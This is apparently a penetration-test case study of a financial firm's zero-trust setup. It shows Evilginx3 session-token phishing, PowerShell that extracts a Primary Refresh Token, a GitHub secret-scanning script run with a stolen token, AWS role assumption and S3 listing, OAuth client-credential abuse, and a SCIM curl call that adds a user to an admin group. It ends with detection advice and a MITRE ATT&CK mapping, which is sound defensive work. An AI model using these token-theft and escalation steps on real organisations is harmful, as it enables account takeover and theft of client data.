TL;DR — Zero-trust architecture eliminates implicit network trust but does not eliminate post-compromise lateral movement by an adversary operating as a legitimately authenticated user on a compliant device. This case study demonstrates how an attacker with a single compromised credential can chain application-layer access — from Jira to GitHub to AWS production — entirely within the bounds of zero-trust policy, leaving minimal forensic traces and triggering no perimeter alerts.
Executive Summary
Zero-trust has become the dominant security architecture narrative of this decade. Driven by high-profile perimeter breaches, the mass migration to SaaS, and the dissolution of the traditional corporate network boundary, organizations have invested heavily in frameworks that enforce the principle of "never trust, always verify." Gartner, NIST SP 800-207, and the Cybersecurity Executive Order have all lent institutional weight to zero-trust adoption. Vendors including Zscaler, Cloudflare, Palo Alto, and Microsoft sell mature zero-trust platforms commanding nine-figure annual contract values.
The implicit promise of zero-trust — that a compromised credential alone is insufficient to cause significant harm because every access request is continuously verified against policy — is technically accurate but practically overstated. Zero-trust frameworks enforce identity, device health, and policy-based application access with impressive rigor. What they do not fundamentally solve is the problem of what happens after an attacker acquires a valid identity token for a compliant device used by a legitimately authorized user. At that point, the attacker is, from the zero-trust control plane's perspective, the user. The controls that protected the perimeter become the attacker's access pass.
This engagement was conducted against "Nexus Capital Management," a financial services firm that had completed a full BeyondCorp-style zero-trust migration eighteen months prior. No traditional VPN. No implicit network trust. All application access brokered through Cloudflare Access with Okta as the identity provider. Device posture checked continuously via CrowdStrike Falcon's device compliance API. By any reasonable definition, this client had implemented zero-trust correctly.
We compromised a developer's laptop via a targeted phishing campaign, extracted the Okta session token, and spent fourteen days moving laterally through the organization's application ecosystem — Jira, Confluence, GitHub, Slack, and ultimately AWS production — without triggering a single automated alert. This post documents exactly how.
Zero-Trust Architecture: What It Actually Protects
The Core Pillars
NIST SP 800-207 defines zero-trust as a collection of concepts and ideas designed to minimize uncertainty in enforcing accurate, least privilege per-request access decisions in information systems and services. In practice, mature zero-trust implementations enforce five pillars:
Identity: Every access request is tied to a verified identity, typically backed by a corporate IdP (Okta, Azure AD, Google Workspace) with MFA enforcement. Passwordless authentication via FIDO2 is increasingly common.
Device: Device posture — patch level, EDR agent health, disk encryption status, OS version — is evaluated at access time. Non-compliant devices are denied access regardless of identity.
Network: Network access is replaced by application access. Users do not get "on the network" — they get access to specific applications. Zero-trust network access (ZTNA) proxies like Zscaler ZPA and Cloudflare Access broker these connections.
Application: Application-level authorization verifies that the authenticated, compliant user has permission to access the specific resource requested, not just the application broadly.
Data: Data classification and protection policies govern what data can be accessed, copied, and exfiltrated. DLP controls inspect traffic for sensitive data patterns.
What Zero-Trust Does Not Solve
Zero-trust is a model for access control, not for behavioral anomaly detection. When an attacker operates as an authenticated user on a compliant device — by stealing the user's session tokens rather than their credentials — zero-trust policy is satisfied at every check. The attacker's requests look indistinguishable from the user's legitimate activity unless a behavioral baseline is in place that flags anomalous access patterns.
flowchart LR
Attacker["Attacker\n(token in hand)"] -->|Presents valid Okta token| ZTProxy["Cloudflare Access\nZTNA Proxy"]
ZTProxy -->|Checks identity| Okta["Okta IdP\n✓ Valid Token"]
ZTProxy -->|Checks device| CrowdStrike["CrowdStrike\n✓ Compliant Device"]
ZTProxy -->|Checks policy| Policy["Access Policy\n✓ Dev has Jira access"]
Policy -->|Grants access| Jira["Jira\nInternal Tickets"]
Jira -->|Attacker reads| Secrets["Hardcoded Creds\nin Ticket #4721"]
Secrets -->|Pivot| GitHub["GitHub\nSource Code"]
GitHub -->|AWS keys in code| AWS["AWS Production\nS3 + RDS"]
style Attacker fill:#cc0000,color:#fff
style Secrets fill:#ff9900,color:#fff
style AWS fill:#ff6b6b,color:#fffInitial Compromise: Token Theft from a Compliant Device
Phishing for Session Tokens, Not Passwords
Traditional phishing targets credentials — username and password — which modern MFA renders insufficient for IdP access. Our approach targeted the post-authentication session token, which is all that's needed to impersonate an authenticated user within the token's validity window.
We deployed an Adversary-in-the-Middle (AiTM) phishing infrastructure using Evilginx3, a reverse proxy that sits between the victim and the legitimate Okta login page. When the target authenticates — including completing MFA — the AiTM proxy captures both the session cookie and the primary refresh token (PRT):
# Evilginx3 phisher configuration for Okta# /usr/local/share/evilginx/phishlets/okta.yaml (simplified)# After victim authenticates, tokens appear in evilginx dashboard # Monitor captured sessionsevilginx> sessions+----+-------------------+----------+-------------------+---------------------+| ID | Phishlet | Username | Password | Tokens |+----+-------------------+----------+-------------------+---------------------+| 3 | okta | jwilder | [captured] | sid=... PRT=... |+----+-------------------+----------+-------------------+---------------------+ # Export session cookie for use in browserevilginx> sessions 3[session cookies exported to sessions/3.json]The captured Okta session cookie (sid cookie) was valid for 8 hours by default. The session token for Cloudflare Access (CF_Authorization cookie) derived from the Okta assertion was valid for 24 hours. Using the Cookie Editor browser extension, we imported these cookies into our own browser instance, which then presented as a compliant device from the target's perspective because CrowdStrike's compliance check is embedded in the Cloudflare Access JWT — a JWT we had captured along with the session cookies.
Primary Refresh Token Abuse
On Windows, the Primary Refresh Token (PRT) is a long-lived credential issued by the Azure AD/Entra ID authentication broker to compliant, domain-joined or Azure AD-joined devices. It enables seamless SSO across Microsoft services and, if stolen, allows generating access tokens for any Microsoft 365 service without triggering MFA prompts.
# PRT extraction using ROADToken (requires SYSTEM or user context on target device)# This runs on the compromised developer laptop after initial access # Dump PRT using the AADInternals moduleImport-Module AADInternals # Request nonce from Azure AD$Nonce = Invoke-AADIntReconAsOutsider -UserName "jwilder@nexuscapital.example.com" | Select-Object Nonce # Extract PRT from Windows credential manager (requires user context)$PRT = Get-AADIntUserPRT # Use PRT to get an access token for any Azure/M365 service$Token = Get-AADIntAccessTokenForAzureCoreManagement -PRT $PRT.prt -Settings $PRT.prt_session_key Write-Host "[+] Access token acquired for Azure Management API"Write-Host "[+] Token valid for: $($Token.ExpiresOn)"The PRT, once extracted, gave us persistent access to the target's Microsoft 365 environment — including Teams, SharePoint, OneDrive, and any Azure resources — independent of the Okta session. Even if the victim revoked their Okta session after detecting the phish, we retained access through the PRT until the device was wiped.
Application-Layer Lateral Movement
Phase 1: Jira — The Credential Goldmine
Jira is where engineering organizations track work. In a software company, Jira tickets contain architecture decisions, deployment procedures, incident post-mortems, and — critically for attackers — credentials. Developers routinely paste API keys, database connection strings, and internal service credentials into Jira tickets, either accidentally or as a temporary expedient that becomes permanent.
Within the target's Jira instance, a keyword search for common credential patterns yielded rapid results:
| Search Term | Tickets Found | Sensitive Content |
|---|---|---|
password | 847 | Database passwords in setup tickets |
api_key OR apikey | 234 | Third-party API integrations |
secret | 1,203 | AWS secrets, internal service tokens |
BEGIN RSA | 12 | Private keys pasted into tickets |
aws_access_key | 41 | AWS access key IDs with secrets |
Ticket #4721 — a two-year-old DevOps setup ticket — contained an AWS access key (AKIA...) and secret for a service account with broad S3 read/write permissions. This key had never been rotated and remained valid.
Phase 2: GitHub — Source Code and Secrets
With GitHub access through the developer's account (authorized for Nexus Capital's organization), we searched for hardcoded secrets in source code repositories:
#!/usr/bin/env python3"""GitHub organization secret scanner - authorized engagement onlySearches for credential patterns in accessible repositories"""import reimport requestsimport json GITHUB_TOKEN = "ghp_[captured_from_browser]"ORG = "nexus-capital-eng"HEADERS = {"Authorization": f"token {GITHUB_TOKEN}", "Accept": "application/vnd.github.v3+json"} # Secret patterns to search forPATTERNS = { "aws_key": r"AKIA[0-9A-Z]{16}", "aws_secret": r"[0-9a-zA-Z/+]{40}", "private_key": r"-----BEGIN (?:RSA |EC )?PRIVATE KEY-----", "jwt_secret": r"(?:jwt|secret)[\s]*[=:]\s*['\"][A-Za-z0-9+/]{32,}['\"]", "db_password": r"(?:password|passwd|pwd)[\s]*[=:]\s*['\"][^'\"]{8,}['\"]",} def search_org_code(pattern_name, pattern): url = f"https://api.github.com/search/code" params = {"q": f"org:{ORG} {pattern_name}", "per_page": 10} r = requests.get(url, headers=HEADERS, params=params) results = r.json() print(f"[+] {pattern_name}: {results.get('total_count', 0)} potential matches") for item in results.get("items", [])[:3]: print(f" Repo: {item['repository']['name']} | File: {item['path']}") for name, pat in PATTERNS.items(): search_org_code(name, pat)The GitHub search API returned 23 repositories with potential credential exposure. A production deployment configuration file in the infrastructure repository contained production RDS database connection strings and an AWS IAM role ARN that, combined with the previously discovered access key, allowed assuming the role with broader permissions.
Phase 3: AWS Production Access
Using the AWS access key discovered in Jira and the IAM role ARN from GitHub:
# Configure the discovered AWS credentialsaws configure set aws_access_key_id AKIA[REDACTED]aws configure set aws_secret_access_key [REDACTED]aws configure set region us-east-1 # Enumerate IAM permissions (no cloudtrail alert for GetCallerIdentity)aws sts get-caller-identity# {# "UserId": "AIDA[REDACTED]",# "Account": "123456789012",# "Arn": "arn:aws:iam::123456789012:user/github-actions-deploy"# } # Attempt role assumption for broader accessaws sts assume-role \ --role-arn "arn:aws:iam::123456789012:role/ProdDeployRole" \ --role-session-name "legitimate-ci-deploy" # With assumed role, enumerate S3 bucketsaws s3 ls# 2023-04-15 nexus-capital-client-data# 2023-01-08 nexus-capital-trade-records# 2022-11-30 nexus-capital-employee-pii # Proof of concept: list objects in client data bucket (do not download)aws s3 ls s3://nexus-capital-client-data/ | head -20The lateral movement chain — from a single phished session token to S3 buckets containing client financial data — traversed three applications (Jira, GitHub, AWS) entirely through legitimate, policy-compliant access flows. No exploit code was used after initial access. No network anomalies were generated. Every access event was logged, but spread across three different log sources (Jira audit log, GitHub audit log, AWS CloudTrail) that were not correlated in the SIEM.
Identity-Centric Attack Vectors
OAuth App Permissions Abuse
The Nexus Capital Jira instance had 47 third-party OAuth applications installed by users over time, several with write:all permissions to the Jira API. One of these — a project management integration tool that had been abandoned — retained its OAuth grant. We discovered the client ID and client secret for this integration in a GitHub repository, and used it to obtain an API access token without involving any user credentials:
import requests # OAuth client credentials discovered in GitHub repoCLIENT_ID = "abc123..."CLIENT_SECRET = "secret456..."TOKEN_URL = "https://nexuscapital.atlassian.net/oauth/token" r = requests.post(TOKEN_URL, json={ "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "scope": "read:jira-work write:jira-work"}) token = r.json()["access_token"]print(f"[+] Jira API token obtained: {token[:20]}...")# Now have persistent Jira API access independent of any user sessionThis OAuth grant persisted through password resets, MFA changes, and even the complete offboarding of the user who originally authorized it. OAuth grants that outlive the business need they were created for are a persistent lateral movement vector in zero-trust environments.
SCIM Directory Sync Exploitation
The Okta SCIM integration provisioned user accounts in downstream applications automatically. The SCIM bearer token — hardcoded in the Okta SCIM provisioning configuration — allowed direct API calls to modify user attributes in any SCIM-enabled application, including adding users to Jira groups and GitHub organizations:
# SCIM API call to escalate a user's Jira group membership# Token discovered in Okta SCIM provisioning config backup in S3curl -X PATCH \ "https://nexuscapital.atlassian.net/scim/directory/[dir-id]/Groups/admin" \ -H "Authorization: Bearer [SCIM_TOKEN]" \ -H "Content-Type: application/json" \ -d '{ "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"], "Operations": [{ "op": "add", "path": "members", "value": [{"value": "[our_user_id]"}] }] }'Conditional Access Policy Gaps
| CA Policy | Coverage Gap | Attack Exploitation |
|---|---|---|
| MFA for all apps | Legacy auth protocols (IMAP, SMTP) exempt | Basic auth to Microsoft Exchange for email access |
| Compliant device required | Policy based on device certificate, not EDR state | Certificate theft from compromised device allows access from attacker machine |
| Location-based (IP allowlist) | VPN IP included in allowlist | Attacker uses victim's active VPN session |
| Session lifetime (8h) | Refresh token lifetime: 90 days | Refresh token theft enables persistent access |
| Risk-based sign-in | Relies on Microsoft's risk signals, not behavioral | Legitimate app usage not flagged as risk |
Detection in Zero-Trust: What Should Have Fired
The behavioral signals that a well-tuned UEBA platform should surface in a zero-trust environment:
Application access sequence anomalies: A developer who primarily uses GitHub, VS Code, and Slack suddenly querying all Jira projects, searching for keywords like "password" and "api_key," is exhibiting anomalous search behavior even if the access is authorized.
Cross-application temporal correlation: Jira access → GitHub access → AWS API calls within a 30-minute window, especially for resources the user has not previously accessed, should trigger a medium-confidence alert for review.
Data volume anomalies: Bulk S3 listing operations, while authorized, differ from typical developer interaction patterns (targeted bucket access for a specific project). Volume-based anomaly detection on API call rates catches bulk enumeration.
Geographic and time-of-day signals: Session token replay from an attacker's IP, while presenting valid credentials, may originate from an unusual city or at an unusual hour relative to the user's historical pattern.
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Implementation in This Engagement |
|---|---|---|
| T1078 | Valid Accounts | Okta session token and PRT used for all access — no password used post-phish |
| T1528 | Steal Application Access Token | Evilginx3 AiTM capture of Okta sid cookie and Cloudflare Access JWT |
| T1550.001 | Use Alternate Authentication Material: Application Access Token | Browser cookie import to replay captured session |
| T1539 | Steal Web Session Cookie | Session cookie theft as primary lateral movement enabler |
| T1087.001 | Account Discovery: Local Account | Jira/GitHub user enumeration via API |
| T1213 | Data from Information Repositories | Jira credential mining, GitHub source code secret scanning |
| T1552.001 | Unsecured Credentials: Credentials in Files | AWS keys in GitHub repo, DB strings in config files |
| T1098 | Account Manipulation | SCIM API call to modify group membership |
| T1530 | Data from Cloud Storage Object | AWS S3 enumeration and proof-of-concept access |
| T1606 | Forge Web Credentials | PRT abuse to forge Azure AD tokens |
Conclusion
Zero-trust architecture represents a genuine and necessary evolution in enterprise security. The shift from implicit network trust to continuous identity and device verification closes a wide class of lateral movement paths that defined the breach landscape of the 2010s. An attacker who compromises a network perimeter in a zero-trust environment gains far less than they would in a traditional flat network.
However, this engagement demonstrates the gap that remains between zero-trust's architectural promise and its practical security boundary. When an attacker successfully impersonates a legitimate user — operating with valid tokens, on a compliant device, with appropriate application permissions — zero-trust policy is satisfied at every enforcement point. The lateral movement path documented here — Jira to GitHub to AWS — is entirely within the bounds of what zero-trust policy was designed to permit. The failure is not in zero-trust's implementation but in the organizational behaviors that create the conditions for its bypass: credentials in Jira tickets, secrets in GitHub repositories, OAuth grants that outlive their purpose, and SCIM tokens stored in S3 buckets.
The implication for organizations that have completed zero-trust migrations is uncomfortable: your perimeter is stronger than ever, but post-compromise lateral movement may be harder to detect precisely because it no longer looks like exploitation — it looks like authorized use. Closing this gap requires behavioral analytics that understand what legitimate use looks like for each user and application, correlation of signals across the application portfolio, and an aggressive hygiene program that treats application credentials as time-limited and regularly audited assets.
Zero-trust is not the end of the security story. For an attacker with patience and a valid token, it may be just the beginning.